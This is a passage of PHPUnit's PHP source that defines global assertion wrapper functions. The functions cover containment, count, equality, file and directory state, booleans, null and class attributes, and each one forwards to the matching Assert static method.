} } if (!function_exists('PHPUnit\Framework\assertNotContains')) { /** * Asserts that a haystack does not contain a needle. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotContains */ function assertNotContains($needle, iterable $haystack, string $message = ''): void { Assert::assertNotContains(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotContainsEquals')) { function assertNotContainsEquals($needle, iterable $haystack, string $message = ''): void { Assert::assertNotContainsEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContainsOnly')) { /** * Asserts that a haystack contains only values of a given type. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertContainsOnly */ function assertContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { Assert::assertContainsOnly(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContainsOnlyInstancesOf')) { /** * Asserts that a haystack contains only instances of a given class name. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertContainsOnlyInstancesOf */ function assertContainsOnlyInstancesOf(string $className, iterable $haystack, string $message = ''): void { Assert::assertContainsOnlyInstancesOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotContainsOnly')) { /** * Asserts that a haystack does not contain only values of a given type. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotContainsOnly */ function assertNotContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { Assert::assertNotContainsOnly(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertCount')) { /** * Asserts the number of elements of an array, Countable or Traversable. * * @param Countable|iterable $haystack * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertCount */ function assertCount(int $expectedCount, $haystack, string $message = ''): void { Assert::assertCount(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotCount')) { /** * Asserts the number of elements of an array, Countable or Traversable. * * @param Countable|iterable $haystack * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotCount */ function assertNotCount(int $expectedCount, $haystack, string $message = ''): void { Assert::assertNotCount(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEquals')) { /** * Asserts that two variables are equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEquals */ function assertEquals($expected, $actual, string $message = ''): void { Assert::assertEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEqualsCanonicalizing')) { /** * Asserts that two variables are equal (canonicalizing). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEqualsCanonicalizing */ function assertEqualsCanonicalizing($expected, $actual, string $message = ''): void { Assert::assertEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEqualsIgnoringCase')) { /** * Asserts that two variables are equal (ignoring case). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEqualsIgnoringCase */ function assertEqualsIgnoringCase($expected, $actual, string $message = ''): void { Assert::assertEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEqualsWithDelta')) { /** * Asserts that two variables are equal (with delta). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEqualsWithDelta */ function assertEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void { Assert::assertEqualsWithDelta(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEquals')) { /** * Asserts that two variables are not equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEquals */ function assertNotEquals($expected, $actual, string $message = ''): void { Assert::assertNotEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEqualsCanonicalizing')) { /** * Asserts that two variables are not equal (canonicalizing). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEqualsCanonicalizing */ function assertNotEqualsCanonicalizing($expected, $actual, string $message = ''): void { Assert::assertNotEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEqualsIgnoringCase')) { /** * Asserts that two variables are not equal (ignoring case). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEqualsIgnoringCase */ function assertNotEqualsIgnoringCase($expected, $actual, string $message = ''): void { Assert::assertNotEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEqualsWithDelta')) { /** * Asserts that two variables are not equal (with delta). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEqualsWithDelta */ function assertNotEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void { Assert::assertNotEqualsWithDelta(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertObjectEquals')) { /** * @throws ExpectationFailedException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertObjectEquals */ function assertObjectEquals(object $expected, object $actual, string $method = 'equals', string $message = ''): void { Assert::assertObjectEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEmpty')) { /** * Asserts that a variable is empty. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert empty $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEmpty */ function assertEmpty($actual, string $message = ''): void { Assert::assertEmpty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotEmpty')) { /** * Asserts that a variable is not empty. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !empty $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotEmpty */ function assertNotEmpty($actual, string $message = ''): void { Assert::assertNotEmpty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertGreaterThan')) { /** * Asserts that a value is greater than another value. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertGreaterThan */ function assertGreaterThan($expected, $actual, string $message = ''): void { Assert::assertGreaterThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertGreaterThanOrEqual')) { /** * Asserts that a value is greater than or equal to another value. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertGreaterThanOrEqual */ function assertGreaterThanOrEqual($expected, $actual, string $message = ''): void { Assert::assertGreaterThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertLessThan')) { /** * Asserts that a value is smaller than another value. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertLessThan */ function assertLessThan($expected, $actual, string $message = ''): void { Assert::assertLessThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertLessThanOrEqual')) { /** * Asserts that a value is smaller than or equal to another value. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertLessThanOrEqual */ function assertLessThanOrEqual($expected, $actual, string $message = ''): void { Assert::assertLessThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileEquals')) { /** * Asserts that the contents of one file is equal to the contents of another * file. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileEquals */ function assertFileEquals(string $expected, string $actual, string $message = ''): void { Assert::assertFileEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileEqualsCanonicalizing')) { /** * Asserts that the contents of one file is equal to the contents of another * file (canonicalizing). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileEqualsCanonicalizing */ function assertFileEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { Assert::assertFileEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileEqualsIgnoringCase')) { /** * Asserts that the contents of one file is equal to the contents of another * file (ignoring case). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileEqualsIgnoringCase */ function assertFileEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { Assert::assertFileEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotEquals')) { /** * Asserts that the contents of one file is not equal to the contents of * another file. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotEquals */ function assertFileNotEquals(string $expected, string $actual, string $message = ''): void { Assert::assertFileNotEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotEqualsCanonicalizing')) { /** * Asserts that the contents of one file is not equal to the contents of another * file (canonicalizing). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotEqualsCanonicalizing */ function assertFileNotEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { Assert::assertFileNotEqualsCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotEqualsIgnoringCase')) { /** * Asserts that the contents of one file is not equal to the contents of another * file (ignoring case). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotEqualsIgnoringCase */ function assertFileNotEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { Assert::assertFileNotEqualsIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEqualsFile')) { /** * Asserts that the contents of a string is equal * to the contents of a file. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEqualsFile */ function assertStringEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringEqualsFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEqualsFileCanonicalizing')) { /** * Asserts that the contents of a string is equal * to the contents of a file (canonicalizing). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEqualsFileCanonicalizing */ function assertStringEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringEqualsFileCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEqualsFileIgnoringCase')) { /** * Asserts that the contents of a string is equal * to the contents of a file (ignoring case). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEqualsFileIgnoringCase */ function assertStringEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringEqualsFileIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFile')) { /** * Asserts that the contents of a string is not equal * to the contents of a file. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotEqualsFile */ function assertStringNotEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringNotEqualsFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFileCanonicalizing')) { /** * Asserts that the contents of a string is not equal * to the contents of a file (canonicalizing). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotEqualsFileCanonicalizing */ function assertStringNotEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringNotEqualsFileCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotEqualsFileIgnoringCase')) { /** * Asserts that the contents of a string is not equal * to the contents of a file (ignoring case). * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotEqualsFileIgnoringCase */ function assertStringNotEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { Assert::assertStringNotEqualsFileIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsReadable')) { /** * Asserts that a file/dir is readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsReadable */ function assertIsReadable(string $filename, string $message = ''): void { Assert::assertIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotReadable')) { /** * Asserts that a file/dir exists and is not readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotReadable */ function assertIsNotReadable(string $filename, string $message = ''): void { Assert::assertIsNotReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotIsReadable')) { /** * Asserts that a file/dir exists and is not readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4062 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotIsReadable */ function assertNotIsReadable(string $filename, string $message = ''): void { Assert::assertNotIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsWritable')) { /** * Asserts that a file/dir exists and is writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsWritable */ function assertIsWritable(string $filename, string $message = ''): void { Assert::assertIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotWritable')) { /** * Asserts that a file/dir exists and is not writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotWritable */ function assertIsNotWritable(string $filename, string $message = ''): void { Assert::assertIsNotWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotIsWritable')) { /** * Asserts that a file/dir exists and is not writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4065 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotIsWritable */ function assertNotIsWritable(string $filename, string $message = ''): void { Assert::assertNotIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryExists')) { /** * Asserts that a directory exists. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryExists */ function assertDirectoryExists(string $directory, string $message = ''): void { Assert::assertDirectoryExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryDoesNotExist')) { /** * Asserts that a directory does not exist. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryDoesNotExist */ function assertDirectoryDoesNotExist(string $directory, string $message = ''): void { Assert::assertDirectoryDoesNotExist(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryNotExists')) { /** * Asserts that a directory does not exist. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4068 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryNotExists */ function assertDirectoryNotExists(string $directory, string $message = ''): void { Assert::assertDirectoryNotExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsReadable')) { /** * Asserts that a directory exists and is readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsReadable */ function assertDirectoryIsReadable(string $directory, string $message = ''): void { Assert::assertDirectoryIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsNotReadable')) { /** * Asserts that a directory exists and is not readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsNotReadable */ function assertDirectoryIsNotReadable(string $directory, string $message = ''): void { Assert::assertDirectoryIsNotReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryNotIsReadable')) { /** * Asserts that a directory exists and is not readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4071 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryNotIsReadable */ function assertDirectoryNotIsReadable(string $directory, string $message = ''): void { Assert::assertDirectoryNotIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsWritable')) { /** * Asserts that a directory exists and is writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsWritable */ function assertDirectoryIsWritable(string $directory, string $message = ''): void { Assert::assertDirectoryIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryIsNotWritable')) { /** * Asserts that a directory exists and is not writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryIsNotWritable */ function assertDirectoryIsNotWritable(string $directory, string $message = ''): void { Assert::assertDirectoryIsNotWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDirectoryNotIsWritable')) { /** * Asserts that a directory exists and is not writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4074 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDirectoryNotIsWritable */ function assertDirectoryNotIsWritable(string $directory, string $message = ''): void { Assert::assertDirectoryNotIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileExists')) { /** * Asserts that a file exists. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileExists */ function assertFileExists(string $filename, string $message = ''): void { Assert::assertFileExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileDoesNotExist')) { /** * Asserts that a file does not exist. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileDoesNotExist */ function assertFileDoesNotExist(string $filename, string $message = ''): void { Assert::assertFileDoesNotExist(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotExists')) { /** * Asserts that a file does not exist. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4077 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotExists */ function assertFileNotExists(string $filename, string $message = ''): void { Assert::assertFileNotExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsReadable')) { /** * Asserts that a file exists and is readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsReadable */ function assertFileIsReadable(string $file, string $message = ''): void { Assert::assertFileIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsNotReadable')) { /** * Asserts that a file exists and is not readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsNotReadable */ function assertFileIsNotReadable(string $file, string $message = ''): void { Assert::assertFileIsNotReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotIsReadable')) { /** * Asserts that a file exists and is not readable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4080 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotIsReadable */ function assertFileNotIsReadable(string $file, string $message = ''): void { Assert::assertFileNotIsReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsWritable')) { /** * Asserts that a file exists and is writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsWritable */ function assertFileIsWritable(string $file, string $message = ''): void { Assert::assertFileIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileIsNotWritable')) { /** * Asserts that a file exists and is not writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileIsNotWritable */ function assertFileIsNotWritable(string $file, string $message = ''): void { Assert::assertFileIsNotWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFileNotIsWritable')) { /** * Asserts that a file exists and is not writable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4083 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFileNotIsWritable */ function assertFileNotIsWritable(string $file, string $message = ''): void { Assert::assertFileNotIsWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertTrue')) { /** * Asserts that a condition is true. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert true $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertTrue */ function assertTrue($condition, string $message = ''): void { Assert::assertTrue(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotTrue')) { /** * Asserts that a condition is not true. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !true $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotTrue */ function assertNotTrue($condition, string $message = ''): void { Assert::assertNotTrue(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFalse')) { /** * Asserts that a condition is false. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert false $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFalse */ function assertFalse($condition, string $message = ''): void { Assert::assertFalse(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotFalse')) { /** * Asserts that a condition is not false. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !false $condition * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotFalse */ function assertNotFalse($condition, string $message = ''): void { Assert::assertNotFalse(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNull')) { /** * Asserts that a variable is null. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert null $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNull */ function assertNull($actual, string $message = ''): void { Assert::assertNull(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotNull')) { /** * Asserts that a variable is not null. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !null $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotNull */ function assertNotNull($actual, string $message = ''): void { Assert::assertNotNull(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertFinite')) { /** * Asserts that a variable is finite. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertFinite */ function assertFinite($actual, string $message = ''): void { Assert::assertFinite(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertInfinite')) { /** * Asserts that a variable is infinite. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertInfinite */ function assertInfinite($actual, string $message = ''): void { Assert::assertInfinite(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNan')) { /** * Asserts that a variable is nan. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNan */ function assertNan($actual, string $message = ''): void { Assert::assertNan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertClassHasAttribute')) { /** * Asserts that a class has a specified attribute. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertClassHasAttribute */ function assertClassHasAttribute(string $attributeName, string $className, string $message = ''): void { Assert::assertClassHasAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertClassNotHasAttribute')) { /** * Asserts that a class does not have a specified attribute. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertClassNotHasAttribute */ function assertClassNotHasAttribute(string $attributeName, string $className, string $message = ''): void { Assert::assertClassNotHasAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertClassHasStaticAttribute')) { /** * Asserts that a class has a specified static attribute. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertClassHasStaticAttribute */ function assertClassHasStaticAttribute(string $attributeName, string $className, string $message = ''): void { Assert::assertClassHasStaticAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertClassNotHasStaticAttribute')) { /** * Asserts that a class does not have a specified static attribute. * * @throws ExpectationFailedException * @throws 